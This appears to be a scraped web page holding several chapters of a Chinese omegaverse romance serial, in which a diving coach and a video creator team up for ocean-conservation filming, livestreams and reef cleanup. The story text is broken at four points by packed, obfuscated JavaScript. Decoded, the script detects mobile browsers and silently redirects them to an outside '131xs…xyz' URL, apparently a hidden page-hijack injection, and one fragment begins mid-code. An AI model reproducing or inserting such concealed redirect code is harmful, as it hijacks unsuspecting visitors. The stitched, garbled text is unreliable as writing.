RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326495|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又跳了段即兴的舞蹈,利落的动作配上鼓点,引得掌声比刚才更热烈。 另一边的礁石旁,秦尤踢了脚边的碎石,没什么表情道:“以前的事,我想通了。” 梨砚握着可乐瓶的手紧了紧,转头看他。 篝火的光在秦尤脸上明明灭灭,能看到他紧绷的下颌线:“当年的事……”他没继续说,只是灌了口可乐,“过去的就翻篇吧,反正也不是你的错。” 梨砚的喉结滚动了一下,低声道:“谢谢。” “谢什么。”秦尤瞥向沙滩上正被时夏推着转圈的桃楠,眼神软了些,“我是觉得有些事情就应该顺其自然,桃楠应该自己做决定。” 他转过身,认真地看着梨砚:“只是如果有什么不好的后果,你要自己想好怎么承担。” “我知道。”梨砚的目光落在桃楠身上,少年被火光映红的侧脸在夜色里格外明显,“一切都由他自己决定。” 秦尤哼了声,转身往沙滩走,走了两步又回头:“对了,我还挺想看你游泳的。” 梨砚看着他的背影融进人群,刚收起笑意,手机就震动起来,屏幕上跳出“妹妹”两个字。 他接起视频,屏幕那头的梨棠坐在书桌前,17岁的少女身形清瘦,眉眼和梨砚有几分相似,只是眼神安静得近乎沉寂,没有同龄人的跳脱。 她对着镜头轻轻比划着手语,动作幅度很小,指尖却很稳。 梨砚放松下来,指尖在屏幕前快速回应,手语流畅又轻柔,和他平时沉稳的样子判若两人。 他偶尔会微微点头,眉头轻蹙一下,像是在认真听妹妹说话。 桃楠走近时才发现梨砚在视频通话。对方侧着身,挡住了屏幕,只能看到他专注的侧脸和不停比划的手。 他的脚步顿住,刚想转身离开,却瞥见梨砚的手语,那是他在时夏听不见的那几年学会的。 梨棠在比划:“哥哥你什么时候回家?我一个人在家有点怕打雷,而且我很想你。” 梨砚的指尖顿了顿,比划回应:“这边任务结束就回,给你带岛上用贝壳做的风铃,挂在床头就不怕了。” 梨棠轻轻点头,又比划:“上次给你寄的海螺收到了吗?它吹起来的声音很像你以前带我去的海湾。” 梨砚下意识摸了摸口袋里的海螺,眼底漾起暖意:“收到了,我很喜欢,每天都带着。” 桃楠站在原地没动,看着梨砚对着屏幕放缓的眉眼,忽然想起他口袋里总摩挲的海螺,想起他对海边的熟悉,心里像是被什么东西轻轻撞了一下。 梨砚很快结束了通话,转身时正好对上桃楠的目光,愣了一下:“你怎么来了?” “时夏让我叫你过去,大家在催你唱歌。”桃楠指了指沙滩的方向,没提刚才看到的手语,“秦尤说你吉他弹得比他好。” 梨砚收起手机,脸上的柔和还没完全褪去:“他乱说的。”他往前走了两步,和桃楠并肩往沙滩走。 桃楠忍不住问,“是你妹妹?” 梨砚脚步微顿,点了点头:“嗯,她叫梨棠。” “她……”桃楠斟酌着措辞,“好像有点缺乏安全感,你怎么不把带在身边啊?” 梨砚没想到他会这么问,轻声回他:“她从小就怕生,对环境的变换接受度很差,我也不能对她过度保护。” 他说的这些,桃楠完全能理解。 远处的篝火还在跳动,鼓点和笑声乘着海风飘过来,两人并肩走在沙滩上,影子被火光拉得很长,之间的距离不远不近,却比白天更近了些。 桃楠看着梨砚的侧脸,忽然觉得,自己好像有一点点了解他了,也理解为什么常年在海岛的人会缺钙了。 23. 合作 桃楠踢了踢脚边的沙粒,看着不远处被人群簇拥着起哄唱歌的秦尤,忽然转头对梨砚说:“不想去唱歌的话,可以给我讲讲你发现尼莫和多莉的故事吗?” 桃楠歪头笑道:“我之前只拍了视频,还没跟我的粉丝分享过完整的故事呢,他们的名字肯定有讲究吧?” 提到海豚,梨砚眼底的沉静似乎被揉进了些暖意,他在礁石旁坐下,示意桃楠也坐。 海风带着篝火的温度吹过来,他开口道:“那是去年台风季之后的事了。” “当时我是在环岛巡查海岸线的时候发现多莉的,它一直在浅滩附近打转,还时不时用吻突拍打水面,看起来很焦急。” 梨砚指尖无意识地在沙滩上画着波浪线,“我靠近才发现,它身边跟着一只蓝吊鱼,就是那种亮蓝色带黑色条纹的鱼,一直围着它转。” 桃楠忽然想起什么,“是不是《海底总动员》里那只记忆力不好的蓝吊鱼?它叫多莉。” 梨砚忍不住勾了勾嘴角:“对,就是因为那只蓝吊鱼。” 他顿了顿,继续说:“但我当时没想那么多,后来跟着多莉往深海走,发现尼莫受了重伤,被废弃的渔网缠住了,就在珊瑚礁旁边,巧的是,它身边游着一只小丑鱼,一直在它周围绕圈,看起来像是在守护着他。” “所以就叫尼莫?”桃楠接话道:“《海底总动员》里的小丑鱼尼莫。” “嗯。”梨砚点头,声音放轻了些,“所以我就给他们起名叫多莉和尼莫了。” 桃楠似乎听得入神,晚风拂过脸颊,后颈的灼热感似乎都淡了些。 他看着梨砚说起海洋里事时眼里的光,忽然觉得,那些因信息素而起的烦躁和被动,好像也没那么难以忍受了。 他忽然想到什么,侧身往前旁边凑了凑,语气带着期待:“梨教练,你要不要和我合作拍视频,给我当特邀嘉宾啊?” 梨砚愣了一下,转头看他。 “你看啊,”桃楠掰着手指解释,“我这次拍的是海洋相关的内容,但我很多专业知识都是一知半解的。你在这方面懂这么多,如果能当我视频里的嘉宾给我讲解,肯定能让内容更丰富。而且……” 他顿了顿,声音里带了点不易察觉的认真,“这样也能让更多人了解海洋保护的重要性,不是吗?” 梨砚看着他亮晶晶的眼睛,晚风把他额前的碎发吹得轻轻晃动,后颈那片肌肤在火光下泛着淡淡的粉色。 他心里忽然涌起一个念头,他不想错过任何一个出现在桃楠镜头里的机会,无论是作为合作伙伴,还是……其他什么身份。 沉默几秒后,梨砚轻轻点了点头,声音在夜色里格外清晰:“好,我答应你。” “真的?”桃楠笑的桃花眼睛弯成了月牙:“太好了!那我们得签个合同,把合作细节敲定一下。我房间里打印好了模板,现在就去填?” “这么着急?”梨砚站起身,拍了拍裤子上的沙粒。 桃楠立刻从礁石上跳下来,“那当然了,机会难得啊。” 他脚步轻快地往别墅方向走,走了两步还回头冲他道:“你可不能反悔啊!我会给你工资的。” 梨砚看着他雀跃的背影,嘴角不自觉地扬起浅淡的笑意,快步跟了上去。 两人一前一后走进别墅,穿过洒满暖光的客厅,最终上楼停在桃楠的房门前。 桃楠推开门,侧身让他进去:“进来吧,笔和纸都在书桌上。” 梨砚刚踏进房间,一股清甜的桃花香便扑面而来,是桃楠身上独有的Omega信息素味道,不浓却格外清晰。他脚步微顿,心里泛起一丝疑惑。 他们之间的共生反应已过了24小时的共生时效,按道理说,他不该再如此清晰地感知到对方的信息素。 更让他在意的是,这股桃花香像带着细碎的暖意,顺着呼吸钻入鼻腔,让他后颈的腺体隐隐发烫。 他下意识抬手按了按后颈,指尖刚碰到皮肤就感觉到一丝灼热。 “合同在这儿呢。”桃楠已经把打印好的合同摊在书桌上,转身时看到梨砚站在门口不动,疑惑地眨了眨眼,“怎么不进来?” 话音未落,桃楠忽然闻到一股清冽的梨花香气悄然弥漫开来,带着雨后草木的湿润感,正是梨砚的信息素味道。 这味道一钻进鼻腔,他后颈的皮肤就瞬间像被温水浸过似的发烫,不同于之前的灼痛,是一种带着酥麻的热意顺着脊椎往上窜,连指尖都跟着微微发麻。 “糟了……”桃楠猛地回过神,才想起医生反复叮嘱的信息素高度敏感的事。 梨砚也意识到不对劲,刚想收敛信息素,就见桃楠手忙脚乱地拿起笔塞给他:“你先看看再签字吧,签完就可以回去,细节我明天再跟你对,现在好像有点晚了。” 他一边说一边往后退,拉开两人的距离,脸颊不知何时已经染上薄红,“我还有素材没整理,得赶紧弄完。” 梨砚看着他明显慌乱的样子,握着笔的手指紧了紧,低头快速在合同末尾签下自己的名字。 笔尖划过纸张的声音在安静的房间里格外清晰,空气中桃花与梨花的气息还在若有若无地交织,像在无声提醒着两人之间无法忽视的感应。 签完字,梨砚把合同推回去,声音比平时低了些:“那你……别熬太晚。” “知道了,拜拜。”桃楠头也不抬地挥手,直到听到关门声响起,才捂着发烫的后颈靠在书桌边,长舒一口气。 鼻尖似乎还萦绕着淡淡的梨花香,没了之前的焦躁,反而让他心跳漏了一拍。 梨砚走后,桃楠盯着紧闭的房门愣了好一会儿,后颈的灼热感还没完全褪去,鼻尖却总萦绕着那股清冽的梨花香,不像平时闻到的花香那么甜腻,带着点冷冽的草木气,却奇异地让人安心。 他抬手揉了揉后颈,走到书桌前拿起签好的合同,伸手用指尖摸了摸梨砚刚劲的字迹。 “明明是来谈工作的……”他小声嘟囔着,把合同折好放进文件夹,却忍不住对着空气轻嗅了一下。 不过,真好闻啊………… 楼下的歌声和笑声隐约传上来,桃楠却没了下楼的兴致。 他坐在书桌前翻看着白天拍的素材,屏幕里刚好闪过梨砚在海边巡查的背影,海风掀起他的衣角,侧脸在阳光下轮廓分明。 桃楠盯着屏幕看了几秒,忽然伸手按了暂停,指尖在屏幕上轻轻点了点梨砚的身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326496|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心里乱糟糟的。 另一边,梨砚回到自己房间,关上门就靠在门板上轻喘了口气。 后颈的腺体还在隐隐发烫,刚才在桃楠房间闻到的桃花香像生了根似的,在他鼻尖挥之不去。 他抬手按了按腺体,眉头微蹙,共生关系失效后还能如此清晰地感知到对方的信息素,这绝不是正常现象。 梨砚走到窗边,看着楼下沙滩上跳动的篝火,想起桃楠刚才慌乱后退的样子,嘴角不自觉地勾起一抹浅淡的笑意,又很快敛了下去。 他无意识地摩挲着口袋里的海螺,冰凉的触感让他稍微冷静了些。 梨砚刚从窗边转身,手机就在口袋里震动起来。他拿出手机,屏幕上跳出桃楠的名字,附带一条消息:[给你看我昨天剪的先导片,对了,照片是顺手拍的,我觉得还挺好看的。] 梨砚点开视频时,最先涌入耳朵的是海浪拍打礁石的原声,镜头晃了晃,拍到他对着镜头比耶的笑脸:“欢迎来到海洋日记第一站——尼丝岛。” 下一秒画面切到潜水镜头,阳光透过清澈的海水洒下来,能看到桃楠和梨砚穿着潜水服在水里游动的身影。 镜头跟随着桃楠的动作,记录下他小心翼翼地用工具为海龟剥离背甲上的藤壶,海龟舒服地扇了扇鳍肢,尾尖轻轻扫过梨砚的手背,桃楠在镜头后闷笑的声音混着气泡声传出来:“它好像在道谢哎。” 下一秒,镜头里出现桃楠躺在甲板上喘气,梨砚摘下面罩自我介绍的画面。 “你好我是协会的潜水教练,梨砚。” 这时背景音乐《WeDon''tTalkAnymore》的前奏适时响起,轻快的旋律和海水流动的余韵、甲板上的水汽交织在一起,意外地契合。 画面一转,是海豚多莉跃出海面的瞬间,银蓝色的身体在空中划出漂亮的弧线,落水时溅起的水花打在镜头上,留下一串水珠。 紧接着是海洋馆的场景,梨砚站在水池边,指尖贴着玻璃,尼莫隔着水幕用吻突蹭他的指尖,桃楠举着相机在一旁解说:“这是尼莫,去年被梨教练救回来的小家伙。” 镜头扫过梨砚低头时温柔的侧脸,他正在轻声说着什么,尼莫就乖乖地停在他手边。 最后,是梨砚站在玻璃水缸前看着它和多莉游向深海的画面,海风掀起他的衣角,镜头拉远,把他的身影和整片蔚蓝的海面框在一起。 画面外响起桃楠的声音,他说:“他们回家了。” 后半段画面节奏轻快起来,有志愿者们围坐在一起吃海鲜烧烤,讨论的场景,有甜橙橙被海星吓得跳起来的糗样。 最后,画面定格在秦尤跟着大家一起唱他们的海洋综艺的主题曲的场景。 视频末尾,黑屏上弹出一行字:“海洋的故事还在继续。” 梨砚盯着黑屏看了几秒,指尖在屏幕上反复划动。 他对着桃楠拍的自己的照片看了几秒,指尖在对话框里敲了一行字:[谢谢老板送来的帅照。] 想了想又补充了一句:[先导片的背景音乐和画面很配。] 发送成功的提示弹出时,楼下的篝火刚好熄灭,最后一点火星在夜色里闪烁了两下,归于沉寂。 24. 老板 桃楠刚把合同收进抽屉,手机就弹出直播平台的提醒:“距离约定直播时间还有10分钟,当前预约人数已达52万。” 他对着镜子理了理被海风吹乱的头发,指尖无意识蹭过发烫的后颈。 桃楠庆幸的想,还没刚刚没流鼻血。 “大家晚上好啊。”桃楠点开直播界面,镜头里立刻映出他带着笑意的脸,身后的落地窗刚好框住窗外的夜色与远处渐暗的海平面。 “刚和新员工聊完天,差点忘了直播时间,还好没迟到。” 弹幕瞬间刷屏: 【小桃今天状态超好耶,什么事这么开心?】 【新员工?是先导片里那个蓝头发帅哥吗!你真薅来了?】 【蹲一个尼莫和多莉的完整故事!先导片里的海豚镜头拍的好美。】 桃楠笑着把镜头转向书桌上摊开的素材本,上面贴着几张打印出来的照片:有尼莫隔着玻璃蹭人指尖的特写,有多莉跃出海面的银蓝色弧线。 还有他偷偷拍下的、蓝发青年站在海边时被风吹起衣角的背影。 “今天不聊别的,来兑现承诺,然后给你们讲尼莫和多莉的故事。” 他的指尖点过照片上那抹醒目的蓝发,声音不自觉放轻:“这两位小家伙是一位超厉害的潜水教练去年台风后救回来的,名字灵感来自《海底总动员》。” 桃楠把梨砚讲的巡查偶遇、蓝吊鱼引路、小丑鱼守护的细节慢慢道来,讲到尼莫被渔网缠住时,弹幕里满是对海里遗落渔网伤到海洋生物的刷屏。 说到给海豚起名时,又有人刷“DNA动了”“是童年回忆杀没错了”。 “所以呢,”桃楠忽然把镜头拉近,眼底闪着狡黠的光,“为了让大家更了解海洋保护的故事,我特意邀请了这位教练当我的特邀嘉宾!以后视频里会有我们两个人的更多专业科普。” 话音刚落,屏幕突然弹出一串金色的“恭喜”特效,直播后台同步显示:“当前粉丝数突破150万,较开播前增长10.3万。” 弹幕也跟着瞬间炸开了锅: 【!!!是那个超帅的蓝头发潜水教练教练吗?我就知道有后续!” 【涨粉十万达成!小桃快把帅哥教练薅来一起直播吧。】 【刚补完,潜水那段视频梨教练拽人手腕的镜头我也就循环了亿遍!】 【海洋保护科普+神仙颜值嘉宾,这波必须关注。】 【来来来,欢迎大家加入我们cp大军,梨跟桃不要太配。】 【召唤橙子大大!求写文!】 【我不行了,这对有点权威,对我的眼睛太好了。】 桃楠看着飞速滚动的弹幕和不断跳动的粉丝数,刚想开口回应,手机突然震动了一下。 是梨砚发来的消息:[还在忙吗?刚才巡查发现浅滩有漂浮垃圾,要不要一起去清理?] 他对着镜头晃了晃手机:“说曹操曹操到,刚提到的嘉宾找我干活了。” 弹幕立刻刷起“啊啊啊是梨教练。”“他在附近?快叫他过来营业。”“工作狂魔实锤了,事业粉放心了。” 桃楠连忙摆手:“别闹,人家在忙正事呢,以后有机会会让他出镜的。” 直播后半段,他翻出白天拍的海龟特写、珊瑚礁全景,一边展示一边讲梨砚教他的海洋知识:“你们看这只海龟背甲上的藤壶,会影响它游动速度,所以定期清理很重要……” 讲到兴起时,他突然指着窗外:“你们看远处那片海,明天我们要去给多莉和尼莫的‘新家’安装监测设备,去清理礁石区。” 直播结束时,粉丝数已经稳定在153万,后台消息提示收到了近千条合作邀约,全是海洋保护相关的公益机构和科普平台。 桃楠退出直播界面,给梨砚发消息:[我刚直播完,已经宣布了合作的事。] 梨砚的消息几乎是秒回:[好的,老板,有什么需要我配合的吗?] 桃楠起身走到落地窗前,望着远处海面上零星的渔火,继续输入:[你不准搜我的账号,也别翻我以前的视频。] 发送键按下去的瞬间,手机就震了震。梨砚发来一个带着问号的表情包,紧跟着是文字:[为什么?] [因为这是工作要求。]桃楠对着屏幕编得理直气壮,指尖在玻璃上画着圈。 随后他又发了一条过去,[你得对这份合作保持平常心,拍摄需要随意的展现,怕你看了会有影响。] 其实还有一个原因是,那些视频里有他潜水呛水出糗的片段,还有粉丝剪辑的“桃楠大型社死现场合集”。 都是他以前拍旅游Vlog和双人视频时发生的各种各样的事儿,什么在草原抓了一手的牛粪之类的,他要么顶着乱蓬蓬的头发、要么脸上沾着泥点,说话漏风(被山枣酸的)、跑起来顺拐(被骆驼追的) 简直没眼看!和现在镜头前正经科普的样子判若两人。 咦~合作期间还是不适合让对方知道这么多。 梨砚那边沉默了几秒,回过来一句:[好,听你的。]后面跟着个海豚跃出水面的简笔画表情。 桃楠盯着那个海豚简笔画表情看了两秒,指尖在屏幕上敲出一个得逞的笑脸:[对了,清理垃圾需要带什么工具吗?我现在过去找你。] [不用,装备都在海边的储藏室。你从别墅出来左转,直走到沙滩入口就能看到我。] 梨砚的消息来得很快,末尾还加了个定位图标。 桃楠抓起外套往门口走,夜晚的海风带着凉意,吹得路边的椰子树叶沙沙作响,他远远望见沙滩入口处站着个蓝发身影。 梨砚正弯腰给储藏室的门锁上润滑油,月光落在他微垂的侧脸上,连发丝都泛着柔和的银蓝色光晕。 “梨教练。”桃楠隔着几步远叫了他一声。 梨砚直起身回头,手里还拎着个装着垃圾袋和夹子的帆布包:“来得正好,刚检查完工具。” 他把另一个轻便些的帆布包递过来,“你拿这个,里面有手套和备用袋子。” 桃楠接过袋子:“今晚潮水退得挺远,垃圾应该不少吧?” “嗯,下午巡查时看到礁石区有不少塑料瓶和渔网碎片。”梨砚迈开步子往海边走,蓝发被风掀起一小缕,“不过有你帮忙,应该能很快清理完。” 海浪把细碎的贝壳冲上沙滩,又在退潮时悄悄卷走,留下一道道蜿蜒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326497|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水痕。 桃楠踩着水痕往前走,帆布鞋被海水浸得微凉,他毫不在意,弯腰捡起一枚被月光镀上银边的贝壳,对着光看贝壳内壁的虹彩。 “小心别割到手,这种扇贝的边缘很锋利。”梨砚的声音从旁边传来,他把一整袋垃圾塞进回收箱,甩着手上的沙粒往回走。 桃楠把贝壳揣进外套口袋,笑着扬了扬手里的夹子:“放心,我戴着手套呢。倒是你,刚才捡那个渔网的时候,手指好像被勾到了。” 梨砚低头看了眼指尖,果然有个细小的红痕,他不在意地蹭了蹭裤腿:“没事,清理渔网经常被勾到。” 他说着往礁石那边偏了偏头,“那边礁石上好像有海鸟停着,我们绕过去吧,别惊动它们。” 桃楠顺着他的目光望去,果然见几块大礁石顶端落着几只白鸟,正缩着脖子梳理羽毛。 两人放慢脚步,沿着礁石边缘的浅滩走,海水没过脚踝,冰凉的触感带着细沙从指缝间溜走。 “这栋别墅视野真好,晚上能看到星星和海洋连在一起。”桃楠望着远处海平面上闪烁的航标灯,“以前拍视频去过高海拔的草原,以为那里的星空最干净,没想到海边的星空也这么亮。” “因为这里光污染少,而且海风会吹散雾气。”梨砚捡起一块扁平的石头,手腕轻扬,石头贴着水面跳了三下,才“咚”地一声沉入海里,“小时候经常玩打水漂,练就的绝技。” 桃楠眼睛一亮:“我也试试。”他捡了块石头,学着梨砚的姿势甩出去,结果石头刚碰到水面就直接沉了底,溅起的水花还打湿了裤脚。 “力度太急了,手腕要放松,让石头贴着水面擦过去。”梨砚站到他旁边,抬手虚虚握住他的手腕调整角度,“你看,像这样……” 他掌心的温度透过布料传来,桃楠感觉自己的手腕都有点发烫,连呼吸都放轻了些。 “再来一次。”梨砚松开手退开半步。 这次桃楠深吸一口气,学着刚才的感觉甩动手腕,石头果然在水面上跳了两下才沉下去。 “成了。”他惊喜地转头看梨砚。 梨砚弯着眼笑:“悟性很高,多练几次能跳得更远。”他低头看了眼手表,“时间不早了,垃圾清理得差不多,回去吧。” 往回走的路上,桃楠踢着路边的小石子,忽然想起什么:“明天装监测设备,需要提前准备什么工具吗?螺丝刀还是扳手?” “不用,设备都是配套的工具,你跟着我看流程就行。”梨砚侧过头看他,“不过你要是想试试操作记录仪,我可以教你调参数。” “好啊。”桃楠立刻应下来,脚步都轻快了些,“以前拍视频调过相机参数,说不定能触类旁通。” 沙滩入口的储藏室透出暖黄的灯光,梨砚把工具一件件归位,桃楠帮着整理散落的手套和垃圾袋。 晚风穿过椰子树的缝隙,送来远处隐约的海浪声,两人偶尔说句话,声音被风揉得很轻,比白天时的喧嚣更让人安心。 “那我先回去了,明天早上九点见?”桃楠拎起外套准备道别。 梨砚点点头,手里还拿着块擦工具的抹布:“路上小心,晚上风大,记得关窗。” 25. 八年前 桃楠的身影消失在别墅拐角后,梨砚才转身回储藏室收拾剩下的工具。 晚风卷着海潮的气息涌进来,吹得墙上挂着的旧日历轻轻翻动,露出泛黄的纸页边缘。 他伸手去按日历,指尖却顿在半空,刚才桃楠惊喜转头时眼里的光,像极了多年前那个夏天的午后,亮得让人移不开眼。 八年前的台风季比去年更猛,连续一周的暴雨冲垮了海边的临时观测站。 当时他还是个在沿海小城打转的实习生,刚拿到潜水证没多久,跟着前辈在暴雨间隙抢修设备,浑身淋得像落汤鸡,额前的黑发黏在皮肤上,连手指都冻得发僵。 就在他蹲在礁石上费力拧着设备螺丝时,身后突然传来“啊”的一声轻呼。 他转头望去,只见个背着相机包的少年踩滑了青苔遍布的礁石,正手忙脚乱地抓着旁边的椰子树干,脖子上挂着的相机随着动作晃来晃去,镜片上还沾着雨珠。 “你没事吧?”梨砚当时下意识地冲过去扶他,掌心刚触到对方胳膊,少年就抬起了头。 他额前的碎发还在往下滴水,顺着脸颊滑到下巴尖,可那双眼睛却亮得惊人,像盛着被雨水洗过的阳光,把灰蒙蒙的天都照的亮了几分。 “我来拍台风后的海岸线素材的,没想到路这么滑。”少年说话时带着点喘,手指却紧紧护着怀里的相机,指节都因为用力而泛白,“刚才看到你们在修东西,是观测海洋数据的吗?” 那天他们没说太多话。梨砚忙着抢修设备,他就蹲在不远处的礁石上拍照,镜头一会儿对着海面,一会儿对着他忙碌的身影。 偶尔他直起身揉腰时,会看见他举着干净的抹布递过来,或是小声提醒:“哥哥,你身后那块石头好像松了,小心点。” 临走时少年突然抱着相机跑过来,从背包里掏出一张拍立得照片塞进他手里。 照片上是他低头拧螺丝的侧脸,眉头微蹙,背景是被乌云压得很低的海面,可不知怎么,竟透着股笨拙又认真的劲儿。 “我叫桃楠。”少年告诉了梨砚他的名字,挥挥手跑远,蓝白条纹的T恤被海风灌得鼓鼓的,像只振翅欲飞的白鸟。 后来梨砚在海边见过很多次那个叫桃楠的少年。有时是蹲在沙滩上拍寄居蟹,有时是举着相机追着海鸟跑,鞋尖沾着沙粒也不在意。 每次见面,少年都会笑着打招呼,把新拍的照片举给他看,絮絮叨叨地讲话。 再后来………… 梨砚没有继续想下去,“咔哒”一声,梨砚锁上储藏室的门。 晚风穿过椰林,送来远处隐约的浪声。梨砚望着别墅的方向,嘴角不自觉地扬起。 他忽然觉得这八年的相识,五年的等待,倒像是一场被海风吹了又吹的约定。 第二天清晨,别墅外的沙滩已经热闹了起来,但今天节目组留在别墅内拍摄,所以码头安静了很多,没有了艺人们无理取闹的场景。 协会的志愿者们背着装备陆续集合,莉莉安举着扩音喇叭站在快艇旁:“今天的任务分两组,A组负责珊瑚礁区垃圾清理,重点处理废弃渔网和塑料碎片,B组跟我去安装监测设备,记录仪要固定在礁石背流处,数据每小时同步一次。” 徐导举着相机在人群中穿梭,镜头扫过大家的装备:“安全第一啊,大家都注意点,梨砚、南阳你们俩还是老规矩,水下全程护航,特别是新手区域的浮潜组。” 桃楠正弯腰系潜水靴,甜橙橙抱着相机跑过来,将镜翻转,对着他们两个:“今天我奉命拍桃儿和梨教练,保证把他们拍得好看。” 时夏整理着浮力调节器,笑着打趣:“橙子你又被桃楠薅去当摄影师了?” 甜橙橙凑过去小声说:“双人视频我很乐意拍的,这可是现场磕cp的好机会。” 另一边,南阳拍了拍梨砚的肩膀:“前辈,今天珊瑚礁区有几处暗流点,待会儿我带A组走内侧,你带B组从外侧绕,对讲机保持畅通。” 梨砚点头应下,目光落在桃楠身上。 他穿了件浅蓝色的潜水服,袖口和裤脚都仔细收紧,后颈的阻隔贴被头发遮住大半,正低头给甜橙橙讲拍摄角度。 阳光落在他的发梢,连带着侧脸都泛着暖融融的光。 “准备好了吗?”梨砚走过去,手里拎着两套潜水装备,“这是你的浮力控制器和潜水电脑表,我帮你检查过参数了。” 桃楠伸手接过装备,“谢谢梨教练。” 甜橙橙立刻举起桃楠的运动相机,开始了工作,梨砚朝镜头看了一眼,想起昨天答应桃楠的事儿后,也没在意镜头。 很快,众人换好潜水服登上快艇,引擎轰鸣着划破海面。莉莉安站在船头分发任务包,给每个人递了张防水地图:“红色标记是垃圾密集区,黄色三角是设备安装点。清理组记得用浮力袋收纳垃圾,别让碎片飘进珊瑚丛。” 甜橙橙举着着相机蹲在船尾,镜头对着跃出海面的飞鱼:“好巧,刚才那只飞鱼翅膀是蓝色的。” 时夏凑过去看取景器:“拍得还不错。” 他转头对梨砚道:“你们安装设备不用急,我和南阳会在附近清理垃圾,有问题随时喊我们。” 梨砚应了一声,转身帮桃楠调试面镜,指尖划过硅胶边缘确认密封性:“呼吸管咬嘴记得定期吐气排水,下水后先适应三分钟再移动。” 他忽然顿了顿,声音压低些,“要是腺体不舒服就立刻上浮,别硬撑,知道吗?” 桃楠含糊应了声“知道了”,甜橙橙在不远处举着相机偷笑。 快艇很快抵达珊瑚礁区,蓝绿色的海水下隐约能看到彩色的珊瑚群。 莉莉安率先下水,对着对讲机喊:“各组注意,水下能见度十米,水温26度,开始作业。” 莉莉安带着B组的其他几名志愿者先行离开,梨砚帮桃楠扣好浮力控制器,两人顺着船梯缓缓下水。 甜橙橙戴着浮潜面罩跟在后面,防水相机镜头稳稳对准两人。 跟他们一组的小周和阿凯已经背着装备袋站在船梯旁,准备跟上他们。 咸凉的海水漫过身体,桃楠调整呼吸时,忽然看到一群银色小鱼从身边游过,鳞片在阳光下闪着细碎的光。 “别分心。”梨砚的声音从面镜后传来,他指了指斜前方的礁石,“第一台记录仪装在那块鹿角珊瑚旁边,水流稳定,信号也不会被遮挡小周递清洁剂,阿凯准备吸盘固定器。” 梨砚从装备袋里取出监测仪,小周立刻递上专用擦拭布,阿凯在礁石旁比划着安装位置:“这里背流,探头朝向东南方向信号最好。” 设备的外壳是透明的防水材质,侧面装着太阳能板:“这个记录仪能监测水温、盐度和珊瑚生长数据,底部的吸盘要贴在礁石平整处。” 梨砚举高设备给桃楠示范,“小周刚才擦过的区域,你试试按住吸盘排气。” 他让桃楠扶着设备:“先擦干净礁石表面的藻类,不然吸盘容易脱落。” 桃楠学着梨砚的样子按住吸盘边缘排气,听他讲解:“红色按钮是紧急传输键,绿色是休眠模式,每天凌晨三点自动唤醒记录。你看这里的显示屏,数值稳定在绿色区域就说明安装成功。” “要等多久才能确认信号?”桃楠透过面镜抬头看他,阳光透过海水在梨砚脸上投下晃动的光斑。 “三十秒。”梨砚的指尖落在设备侧面的指示灯上,“闪烁三次绿光就是连接成功。” 话音刚落,指示灯果然规律地闪了三下,两人默契地击了下掌,水下的气泡轻轻炸开。 安装第三台记录仪时,桃楠在礁石缝隙里发现了一团缠绕的渔网,网眼上还挂着塑料包装袋。 他刚想用剪刀剪开,梨砚立刻按住他的手,示意他看渔网深处一只小海龟被缠住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326498|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鳍肢,正费力地挣扎。 “换个工具。”梨砚从工具包拿出解网钳,递给桃楠,小周立刻打开备用灯照亮缝隙,阿凯则在旁边展开浮力袋准备接应。 他接过后,梨砚在旁边稳住海龟的身体,看着桃楠的指尖灵活地避开海龟的甲壳,顺着网眼将渔网剪开。 甜橙橙举着相机屏住呼吸,镜头里梨砚专注的侧脸和桃楠紧张的神情被海水晕染得格外温柔。 直到渔网彻底松开,小海龟摆了摆鳍肢游向深海,两人才相视一笑。 “刚才好险。”桃楠对着梨砚比划口型,“差点伤到它。” 梨砚摇摇头,指了指记录仪屏幕:“数据显示这片海域的废弃渔网密度比上个月高了12%,得让协会加派人手清理。” 这时对讲机里传来南阳的声音:“前辈,A组这边发现大型垃圾,需要浮力袋支援。” “收到,马上到。”梨砚转身游向南阳的方向,还不忘回头比了个“小心”的手势。 桃楠看着他的背影消失在珊瑚丛中,低头看了眼手里的监测仪,忽然发现屏幕上倒映着自己的笑脸。 午后的阳光依旧热烈,四台设备全部安装完毕,垃圾也打包运上了快艇。 